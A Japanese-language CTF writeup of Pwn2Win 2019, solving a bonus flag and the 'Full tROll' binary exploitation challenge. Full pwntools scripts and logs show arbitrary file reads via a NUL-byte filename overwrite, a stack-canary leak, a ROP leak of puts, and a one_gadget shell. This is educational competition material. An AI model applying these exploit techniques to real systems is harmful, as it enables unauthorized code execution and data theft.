Pwn2Win CTF 2019 Writeup
Pwn2Win CTF 2019 について
Pwn2Win CTF 2019 が開催されました。
2019年11月09日午前1時37分~2019年11月11日午前1時37分(48時間)
https://pwn2.win/2019/#/ github.com
これまでに参加したCTFの中で一番難しかったです。
ボーナス問題を除き、今回解いたFull tROll
が一番簡単な問題だったようです。
そもそも、チーム登録やフラグを入力するための準備だけでも結構大変でした。
今回もチームで参加しました。チームメンバが1問解いてくれました。
結果は、56/220位で、349点でした。
私も2問解くことができたので、そのWriteupを紹介します。
Pwn2Win CTF 2019 Writeup(2問)
g00d b0y(Bonus)
問題
Now prove you were a good kid and show you learned the most basic lesson in CTFs!!
解答例
pwn2win CTF 2019のルールページ(https://pwn2win.party/rules)のフッターを見ると、以下のように書かれていました。フラグも書かれています。
For the first time, these tiny letters on the bottom of the screen are not a prank. \o/ if you got to this point, means that you probably read all our informations and instructions. And for that, we will award your team with extra points in the competition, after all, reading is FUNDAMENTAL for a competition like this. Use the flag "CTF-BR{RTFM_1s_4_g00d_3xpr3ss10n_v5.0}" on the challenge "Bonus" during the day of the event and guarantee your extra score! ;)
FLAG
CTF-BR{RTFM_1s_4_g00d_3xpr3ss10n_v5.0}
Full tROll(Exploitation)
問題
We've found a HARPA system that seems impenetrable. Help us to pwn it to get its secrets!
Server: 200.136.252.31 2222
Server backup: 167.71.169.196 2222
添付ファイル
- full_troll_1700da176669cce25d20212febf45903e873ca3be6036401077a79f79e2ebf35.tar.gz
解答例
まずは、fileコマンドとchecksecコマンドを実行してみました。 64bitにELFファイルで、セキュリティ機構もほとんどが有効になっているようです。
$ file full_troll full_troll: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=0b0ba0027249cce48d46931213c496e675a74b4d, stripped $ checksec full_troll [*] '/root/workdir/full_troll/full_troll' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
次に実行してみました。実行すると、パスワード入力を求められます。
$ ./full_troll Welcome my friend. Tell me your password. a Not even close! Welcome my friend. Tell me your password. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Incorrect! Welcome my friend. Tell me your password.
パスワードが分からないので、Ghidraでデコンパイルして確認してみます。 色々見ていると、パスワードをチェックしている関数がありました。
※ 関数名や変数名などは、読みやすいように調整しています。
XORしているだけなので、末尾のX
から辿ることができそうです。
パスワードと復号して、入力するスクリプトを作成しました。
#!/usr/bin/env python3 from pwn import * ARCH = "amd64" FILE = "./full_troll" LIBC = "" HOST = "200.136.252.31" PORT = 2222 def exploit(con, elf, libc, rop): xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97] buf = ["X"] * 23 for i in reversed(range(1, 23)): buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i]) passwd = "".join(buf) con.sendlineafter("Welcome my friend. Tell me your password.\n", passwd) def main(): context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive() if __name__ == "__main__": main()
実行すると、URL(http://troll.harpa.world)が出てきました。
$ python exploit.py REMOTE [+] Opening connection to 200.136.252.31 on port 2222: Done [*] '/root/workdir/full_troll/full_troll' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for './full_troll' [*] Switching to interactive mode http://troll.harpa.world Welcome my friend. Tell me your password. $
アクセスしてみると、以下のような画像が表示されました。
この画像を調べてみましたが、何も見つかりませんでした。おそらくダミーです。
画像の調査をあきらめ、パスワードチェックの処理を見直しました。 パスワードのチェックは、まずstrlenでバッファのサイズを確認してから、パスワードのチェックをしています。 strlenは、NULL文字までを文字数として判定しているため、パスワードの後にNULL文字を挟めば、パスワードチェックをパスしたまま先の処理に進めさせることができそうです。 まずは、文字入力でNULL文字を挟めるかどうかを確認してみます。
※ 関数名や変数名などは、読みやすいように調整しています。
fgetcがエラーを返す、もしくは改行が入力されるまで、ユーザの入力を受け付けるようになっていました。 よって、NULL文字も入力できるということが分かりました。
実際にパスワード後にNULL文字を挟み、適当な文字を10文字書き込むスクリプトを作って確認しました。
#!/usr/bin/env python3 from pwn import * ARCH = "amd64" FILE = "./full_troll" LIBC = "" HOST = "200.136.252.31" PORT = 2222 def get_passwd(): xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97] buf = ["X"] * 23 for i in reversed(range(1, 23)): buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i]) return "".join(buf) def exploit(con, elf, libc, rop): passwd = get_passwd() log.info("passwd: {}".format(passwd)) payload = passwd.encode("utf-8") payload += b"\x00" payload += b"A" * 10 log.info("payload: {}".format(payload)) con.sendlineafter("Welcome my friend. Tell me your password.\n", payload) def main(): context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive() if __name__ == "__main__": main()
実行すると、Unable to open AAcret.txt file!
と表示されました。
AA
でファイル名を上書きされていることが確認できます。
$ python exploit.py REMOTE [+] Opening connection to 200.136.252.31 on port 2222: Done [*] '/root/workdir/full_troll/full_troll' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for './full_troll' [*] passwd: VibEv7xCXyK8AjPPRjwtp9X [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAA' [*] Switching to interactive mode Unable to open AAcret.txt file! Welcome my friend. Tell me your password. $
ファイルを自由に読み出せることが分かったので、ファイル読出し用のスクリプトを作成しました。
#!/usr/bin/env python3 from pwn import * ARCH = "amd64" FILE = "./full_troll" LIBC = "" HOST = "200.136.252.31" PORT = 2222 def get_passwd(): xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97] buf = ["X"] * 23 for i in reversed(range(1, 23)): buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i]) return "".join(buf) def read_file(con, passwd, path): payload = passwd.encode("utf-8") payload += b"\x00" payload += b"A" * 8 payload += path.encode("utf-8") payload += b"\x00\n" log.info("payload: {}".format(payload)) con.sendlineafter("Welcome my friend. Tell me your password.\n", payload) delim = "Welcome my friend. Tell me your password." return con.readuntil(delim).decode("utf-8").split(delim)[0] def exploit(con, elf, libc, rop): passwd = get_passwd() log.info("passwd: {}".format(passwd)) while True: path = input("input path> ") file_data = read_file(con, passwd, path) log.info("file_data: {}".format(file_data)) def main(): context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive() if __name__ == "__main__": main()
色々読み出してみましたが、フラグは確認できませんでした。 シェルを取らないとダメそうです。
$ python exploit.py REMOTE [+] Opening connection to 200.136.252.31 on port 2222: Done [*] '/root/workdir/full_troll/full_troll' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for './full_troll' [*] passwd: VibEv7xCXyK8AjPPRjwtp9X input path> secret.txt [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAsecret.txt\x00\n' [*] file_data: http://troll.harpa.world input path> flag.txt [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAflag.txt\x00\n' [*] file_data: http://troll.harpa.world input path> /etc/passwd [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/etc/passwd\x00\n' [*] file_data: root:x:0:0:root:/root:/bin/bash input path> /etc/hosts [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/etc/hosts\x00\n' [*] file_data: 127.0.0.1 localhostot:/bin/bash input path> /etc/os-release [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/etc/os-release\x00\n' [*] file_data: NAME="Ubuntu"alhostot:/bin/bash
一度ファイルの調査をあきらめ、gdb-pedaで文字列入力後のスタックを眺めていると、近くにカナリア値(0xd718cd071b17b500
)があることに気付きました。
[----------------------------------registers-----------------------------------] RAX: 0x18 RBX: 0x0 RCX: 0x7ffff7b00360 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0xa ('\n') RSI: 0x7ffff7dd59f0 --> 0x0 RDI: 0x7ffff7dd4640 --> 0xfbad2288 RBP: 0x7fffffffe4c0 --> 0x0 RSP: 0x7fffffffe450 --> 0x0 RIP: 0x555555554f4a (lea rax,[rbp-0x50]) R8 : 0x7ffff7fed740 (0x00007ffff7fed740) R9 : 0x0 R10: 0x22 ('"') R11: 0x246 R12: 0x5555555548f0 (xor ebp,ebp) R13: 0x7fffffffe5a0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555554f3f: mov rsi,rdx 0x555555554f42: mov rdi,rax 0x555555554f45: call 0x555555554e5d => 0x555555554f4a: lea rax,[rbp-0x50] 0x555555554f4e: mov rdi,rax 0x555555554f51: call 0x555555554a53 0x555555554f56: mov DWORD PTR [rbp-0x64],eax 0x555555554f59: cmp DWORD PTR [rbp-0x64],0x1 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe450 --> 0x0 0008| 0x7fffffffe458 --> 0x7fffffffe5b8 --> 0x7fffffffe7f4 ("HOSTNAME=69a66ad2ab17") 0016| 0x7fffffffe460 --> 0x555555757010 --> 0x0 0024| 0x7fffffffe468 --> 0x7fffffffe4e0 --> 0x100000001 0032| 0x7fffffffe470 ("AAAAAAAABBBBBBBBCCCCCCCC") 0040| 0x7fffffffe478 ("BBBBBBBBCCCCCCCC") 0048| 0x7fffffffe480 ("CCCCCCCC") 0056| 0x7fffffffe488 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0000555555554f4a in ?? () gdb-peda$ stack 20 0000| 0x7fffffffe450 --> 0x0 0008| 0x7fffffffe458 --> 0x7fffffffe5b8 --> 0x7fffffffe7f4 ("HOSTNAME=69a66ad2ab17") 0016| 0x7fffffffe460 --> 0x555555757010 --> 0x0 0024| 0x7fffffffe468 --> 0x7fffffffe4e0 --> 0x100000001 0032| 0x7fffffffe470 ("AAAAAAAABBBBBBBBCCCCCCCC") 0040| 0x7fffffffe478 ("BBBBBBBBCCCCCCCC") 0048| 0x7fffffffe480 ("CCCCCCCC") 0056| 0x7fffffffe488 --> 0x0 0064| 0x7fffffffe490 ("secret.txt") 0072| 0x7fffffffe498 --> 0x7478 ('xt') 0080| 0x7fffffffe4a0 --> 0x0 0088| 0x7fffffffe4a8 --> 0x0 0096| 0x7fffffffe4b0 --> 0x0 0104| 0x7fffffffe4b8 --> 0xd718cd071b17b500 0112| 0x7fffffffe4c0 --> 0x0 0120| 0x7fffffffe4c8 --> 0x7ffff7a32f45 (<__libc_start_main+245>: mov edi,eax) 0128| 0x7fffffffe4d0 --> 0x7fffffffe5a8 --> 0x7fffffffe7d0 ("/root/workdir/full_troll/full_troll") 0136| 0x7fffffffe4d8 --> 0x7fffffffe5a8 --> 0x7fffffffe7d0 ("/root/workdir/full_troll/full_troll") 0144| 0x7fffffffe4e0 --> 0x100000001 0152| 0x7fffffffe4e8 --> 0x555555554ead (push rbp) gdb-peda$
カナリア値の直前まで文字列で埋め、ファイル名が見つからなかった時のエラー表示を利用してカナリア値をリークさせることができそうです。 エラー表示をしている関数のデコンパイル結果は、以下の通りです。
※ 関数名や変数名などは、読みやすいように調整しています。
カナリア値の下位1バイトは、かならず\x00
となっています。
エラー表示は、%.*s
で表示をしているので、下位1バイトのところまで適当な文字列で埋める必要があります。
73バイトでカナリア値をリークさせることができました。
以下、作成したスクリプトになります。
#!/usr/bin/env python3 from pwn import * ARCH = "amd64" FILE = "./full_troll" LIBC = "" HOST = "200.136.252.31" PORT = 2222 def get_passwd(): xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97] buf = ["X"] * 23 for i in reversed(range(1, 23)): buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i]) return "".join(buf) def exploit(con, elf, libc, rop): passwd = get_passwd() log.info("passwd: {}".format(passwd)) offset = 73 payload = passwd.encode("utf-8") payload += b"\x00" payload += b"A" * (offset - len(payload)) log.info("payload: {}".format(payload)) con.sendlineafter("Welcome my friend. Tell me your password.\n", payload) ret = con.readuntil(" file!") canary = int.from_bytes(ret[-13:-6], "little") << 8 log.info("canary: {}".format(hex(canary))) def main(): context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive() if __name__ == "__main__": main()
実行すると、カナリア値が表示されます。
$ python exploit.py REMOTE [+] Opening connection to 200.136.252.31 on port 2222: Done [*] '/root/workdir/full_troll/full_troll' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for './full_troll' [*] passwd: VibEv7xCXyK8AjPPRjwtp9X [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [*] canary: 0x6219120790ec1700 [*] Switching to interactive mode Welcome my friend. Tell me your password. $
カナリア値をリークさせることができたので、バッファオーバーフローで攻めることができそうです。 バッファオーバーフローで攻めるために、実行時のベースアドレスとlibcのベースアドレスが必要です。
まずは、実行時のベースアドレスについて調査を進めます。 現状ファイルが自由に読み出せる状態にあるので、ASLRが有効になっているかを確認してみます。
$ python exploit_readfile.py REMOTE [+] Opening connection to 200.136.252.31 on port 2222: Done [*] '/root/workdir/full_troll/full_troll' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for './full_troll' [*] passwd: VibEv7xCXyK8AjPPRjwtp9X input path> /proc/sys/kernel/randomize_va_space [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/sys/kernel/randomize_va_space\x00\n' [*] file_data: 2 input path>
/proc/sys/kernel/randomize_va_space
が 2
になっているので、ASLRが有効になっているようです。
どうにかして実行時にベースアドレスをリークさせる必要があるようです。
色々調査していると、/proc/self/maps
からベースアドレスが求められそうだと気づきました。
$ python exploit_readfile.py REMOTE [+] Opening connection to 200.136.252.31 on port 2222: Done [*] '/root/workdir/full_troll/full_troll' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for './full_troll' [*] passwd: VibEv7xCXyK8AjPPRjwtp9X input path> /proc/self/maps [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n' [*] file_data: 564a295b7000-564a295b9000 r-xp 00000000 fd:01 1030221 /home/chall/chall input path>
上記の場合、0x564a295b7000
がベースアドレスとなります。
ベースアドレスを自動で読み取るようにスクリプトを調整しました。
#!/usr/bin/env python3 from pwn import * ARCH = "amd64" FILE = "./full_troll" LIBC = "" HOST = "200.136.252.31" PORT = 2222 def get_passwd(): xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97] buf = ["X"] * 23 for i in reversed(range(1, 23)): buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i]) return "".join(buf) def read_file(con, passwd, path): payload = passwd.encode("utf-8") payload += b"\x00" payload += b"A" * 8 payload += path.encode("utf-8") payload += b"\x00\n" log.info("payload: {}".format(payload)) con.sendlineafter("Welcome my friend. Tell me your password.\n", payload) delim = "Welcome my friend. Tell me your password." return con.readuntil(delim).decode("utf-8").split(delim)[0] def leak_canary(con, passwd): offset = 73 payload = passwd.encode("utf-8") payload += b"\x00" payload += b"A" * (offset - len(payload)) log.info("payload: {}".format(payload)) con.sendlineafter("Welcome my friend. Tell me your password.\n", payload) ret = con.readuntil(" file!") return int.from_bytes(ret[-13:-6], "little") << 8 def leak_base_addr(con, passwd): path = "/proc/self/maps" file_data = read_file(con, passwd, path) log.info("{}: {}".format(path, file_data)) return int(file_data.split("-")[0], 16) def exploit(con, elf, libc, rop): passwd = get_passwd() log.info("passwd: {}".format(passwd)) canary = leak_canary(con, passwd) log.info("canary: {}".format(hex(canary))) base_addr = leak_base_addr(con, passwd) log.info("base_addr: {}".format(hex(base_addr))) def main(): context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive() if __name__ == "__main__": main()
実行すると以下のようになります。
$ python exploit.py REMOTE [+] Opening connection to 200.136.252.31 on port 2222: Done [*] '/root/workdir/full_troll/full_troll' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for './full_troll' [*] password: VibEv7xCXyK8AjPPRjwtp9X [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [*] canary: 0x443d1af03cdbe100 [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n' [*] /proc/self/maps: 555686ef8000-555686efa000 r-xp 00000000 fd:01 259722 /home/chall/chall [*] base_addr: 0x555686ef8000 [*] Switching to interactive mode 555686ef8000-555686efa000 r-xp 00000000 fd:01 259722 /home/chall/chall Welcome my friend. Tell me your password. $
ベースアドレスを自動で取得することができるようになりました。 次にlibcのベースアドレスを求めていきます。 そのために、putsのgotのアドレスをリークさせ、そこから逆算して求めます。
今回は、putsを呼び出して、putsのgotをリークさせます。 書き換えることができるリターンアドレスは、mainのリターンアドレスなので、まずは、mainの終了条件を調べます。
※ 関数名や変数名などは、読みやすいように調整しています。
ファイルの読み出しに失敗したときに、Unknown error
で終了するようです。
ファイル名の指定箇所に\x00
を入れておけば、条件を満たせそうです。
条件が整ったので、実際にスクリプトを作成します。 また、putsのgotをリークさせた後、mainを読み出して、再度バッファオーバーフローを起こせるようにしています。
#!/usr/bin/env python3 from pwn import * ARCH = "amd64" FILE = "./full_troll" LIBC = "" HOST = "200.136.252.31" PORT = 2222 def get_passwd(): xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97] buf = ["X"] * 23 for i in reversed(range(1, 23)): buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i]) return "".join(buf) def read_file(con, passwd, path): payload = passwd.encode("utf-8") payload += b"\x00" payload += b"A" * 8 payload += path.encode("utf-8") payload += b"\x00\n" log.info("payload: {}".format(payload)) con.sendlineafter("Welcome my friend. Tell me your password.\n", payload) delim = "Welcome my friend. Tell me your password." return con.readuntil(delim).decode("utf-8").split(delim)[0] def leak_canary(con, passwd): offset = 73 payload = passwd.encode("utf-8") payload += b"\x00" payload += b"A" * (offset - len(payload)) log.info("payload: {}".format(payload)) con.sendlineafter("Welcome my friend. Tell me your password.\n", payload) ret = con.readuntil(" file!") return int.from_bytes(ret[-13:-6], "little") << 8 def leak_base_addr(con, passwd): path = "/proc/self/maps" file_data = read_file(con, passwd, path) log.info("{}: {}".format(path, file_data)) return int(file_data.split("-")[0], 16) def exploit(con, elf, libc, rop): passwd = get_passwd() log.info("passwd: {}".format(passwd)) canary = leak_canary(con, passwd) log.info("canary: {}".format(hex(canary))) base_addr = leak_base_addr(con, passwd) log.info("base_addr: {}".format(hex(base_addr))) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] puts_got = elf.got[b"puts"] puts_symbol = elf.symbols[b"puts"] main_symbol = 0xead log.info("pop_rdi: {}".format(hex(pop_rdi))) log.info("puts_got: {}".format(hex(puts_got))) log.info("puts_symbol: {}".format(hex(puts_symbol))) log.info("main_symbol: {}".format(hex(main_symbol))) rop.raw(base_addr + pop_rdi) rop.raw(base_addr + puts_got) rop.raw(base_addr + puts_symbol) rop.raw(base_addr + main_symbol) offset = 72 payload = passwd.encode("utf-8") payload += b"\x00" * (offset - len(payload)) payload += pack(canary) payload += pack(0) payload += rop.chain() log.info("payload: {}".format(payload)) con.sendlineafter("Welcome my friend. Tell me your password.\n", payload) con.readuntil("Unknown error") ret = con.readuntil("\n").strip() puts_addr = int.from_bytes(ret, "little") log.info("puts_addr: {}".format(hex(puts_addr))) def main(): context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive() if __name__ == "__main__": main()
実行すると以下のようになります。
$ python exploit.py REMOTE [+] Opening connection to 200.136.252.31 on port 2222: Done [*] '/root/workdir/full_troll/full_troll' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for './full_troll' [*] password: VibEv7xCXyK8AjPPRjwtp9X [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [*] canary: 0x4825f2e85b094000 [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n' [*] /proc/self/maps: 55fe548f0000-55fe548f2000 r-xp 00000000 fd:01 259722 /home/chall/chall [*] base_addr: 0x55fe548f0000 [*] pop_rdi: 0x10a3 [*] puts_got: 0x201f88 [*] puts_symbol: 0x840 [*] main_symbol: 0xead [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\t[\xe8\xf2%H\x00\x00\x00\x00\x00\x00\x00\x00\xa3\x10\x8fT\xfeU\x00\x00\x88\x1f\xafT\xfeU\x00\x00@\x08\x8fT\xfeU\x00\x00\xad\x0e\x8fT\xfeU\x00\x00' [*] puts_addr: 0x7f42b16779c0 [*] Switching to interactive mode Welcome my friend. Tell me your password. $
putsのgotのアドレスのリークができました。 リークしたアドレスからlibcのputsのオフセットを引けば、libcのベースアドレスが求まります。 今回は、libcが提供されていないので、リークさせたputsのgotのアドレスからlibcのバージョンを検索してみます。 以下のサイトで、検索することができます。
実際に検索してみると、今回はlibc6_2.27-3ubuntu1_amd64.so
だと判明しました。
libcのベースアドレスを求める条件が整いました。 後は、One-gadget RCEでシェルが取れそうです。 One-gadget RCEのアドレスは、one_gadget(https://github.com/david942j/one_gadget)で求めることができます。
$ one_gadget libc6_2.27-3ubuntu1_amd64.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
今回は、3パターンのアドレスが出てきました。 これで、すべての条件が整いました。最終的なスクリプトは、以下のようになります。
#!/usr/bin/env python3 from pwn import * ARCH = "amd64" FILE = "./full_troll" LIBC = "./libc6_2.27-3ubuntu1_amd64.so" HOST = "200.136.252.31" PORT = 2222 def find_one_gadgets(filename): return list(map(int, subprocess.check_output(["one_gadget", "--raw", filename]).decode("utf-8").split(" "))) def get_passwd(): xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97] buf = ["X"] * 23 for i in reversed(range(1, 23)): buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i]) return "".join(buf) def read_file(con, passwd, path): payload = passwd.encode("utf-8") payload += b"\x00" payload += b"A" * 8 payload += path.encode("utf-8") payload += b"\x00\n" log.info("payload: {}".format(payload)) con.sendlineafter("Welcome my friend. Tell me your password.\n", payload) delim = "Welcome my friend. Tell me your password." return con.readuntil(delim).decode("utf-8").split(delim)[0] def leak_canary(con, passwd): offset = 73 payload = passwd.encode("utf-8") payload += b"\x00" payload += b"A" * (offset - len(payload)) log.info("payload: {}".format(payload)) con.sendlineafter("Welcome my friend. Tell me your password.\n", payload) ret = con.readuntil(" file!") return int.from_bytes(ret[-13:-6], "little") << 8 def leak_base_addr(con, passwd): path = "/proc/self/maps" file_data = read_file(con, passwd, path) log.info("{}: {}".format(path, file_data)) return int(file_data.split("-")[0], 16) def leak_puts_addr(con, elf, rop, passwd, canary, base_addr): pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] puts_got = elf.got[b"puts"] puts_symbol = elf.symbols[b"puts"] main_symbol = 0xead log.info("pop_rdi: {}".format(hex(pop_rdi))) log.info("puts_got: {}".format(hex(puts_got))) log.info("puts_symbol: {}".format(hex(puts_symbol))) log.info("main_symbol: {}".format(hex(main_symbol))) rop.raw(base_addr + pop_rdi) rop.raw(base_addr + puts_got) rop.raw(base_addr + puts_symbol) rop.raw(base_addr + main_symbol) offset = 72 payload = passwd.encode("utf-8") payload += b"\x00" * (offset - len(payload)) payload += pack(canary) payload += pack(0) payload += rop.chain() log.info("payload: {}".format(payload)) con.sendlineafter("Welcome my friend. Tell me your password.\n", payload) con.readuntil("Unknown error") ret = con.readuntil("\n").strip() return int.from_bytes(ret, "little") def exploit(con, elf, libc, rop): passwd = get_passwd() log.info("passwd: {}".format(passwd)) canary = leak_canary(con, passwd) log.info("canary: {}".format(hex(canary))) base_addr = leak_base_addr(con, passwd) log.info("base_addr: {}".format(hex(base_addr))) puts_addr = leak_puts_addr(con, elf, rop, passwd, canary, base_addr) log.info("puts_addr: {}".format(hex(puts_addr))) libc_base = puts_addr - libc.symbols[b"puts"] log.info("libc_base: {}".format(hex(libc_base))) one_gadgets = find_one_gadgets(LIBC) log.info("one_gadgets: {}".format([hex(x) for x in one_gadgets])) offset = 72 payload = passwd.encode("utf-8") payload += b"\x00" * (offset - len(payload)) payload += pack(canary) payload += pack(0) payload += pack(libc_base + one_gadgets[0]) log.info("payload: {}".format(payload)) con.sendlineafter("Welcome my friend. Tell me your password.\n", payload) def main(): context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive() if __name__ == "__main__": main()
実行すると、シェルを取ることができました。
$ python exploit.py REMOTE [+] Opening connection to 200.136.252.31 on port 2222: Done [*] '/root/workdir/full_troll/full_troll' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for './full_troll' [*] password: VibEv7xCXyK8AjPPRjwtp9X [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [*] canary: 0x4825f2e85b094000 [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n' [*] /proc/self/maps: 55fe548f0000-55fe548f2000 r-xp 00000000 fd:01 259722 /home/chall/chall [*] base_addr: 0x55fe548f0000 [*] pop_rdi: 0x10a3 [*] puts_got: 0x201f88 [*] puts_symbol: 0x840 [*] main_symbol: 0xead [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\t[\xe8\xf2%H\x00\x00\x00\x00\x00\x00\x00\x00\xa3\x10\x8fT\xfeU\x00\x00\x88\x1f\xafT\xfeU\x00\x00@\x08\x8fT\xfeU\x00\x00\xad\x0e\x8fT\xfeU\x00\x00' [*] puts_addr: 0x7f42b16779c0 [*] libc_base: 0x7f42b15f7000 [*] one_gadgets: ['0x4f2c5', '0x4f322', '0x10a38c'] [*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\t[\xe8\xf2%H\x00\x00\x00\x00\x00\x00\x00\x00\x8c\x13p\xb1B\x7f\x00\x00' [*] Switching to interactive mode Unknown error$ id uid=1001(chall) gid=1001(chall) groups=1001(chall) $ ls _r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt chall flag.txt sacred secret.txt setup.sh $ cat _r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?} $
FLAG
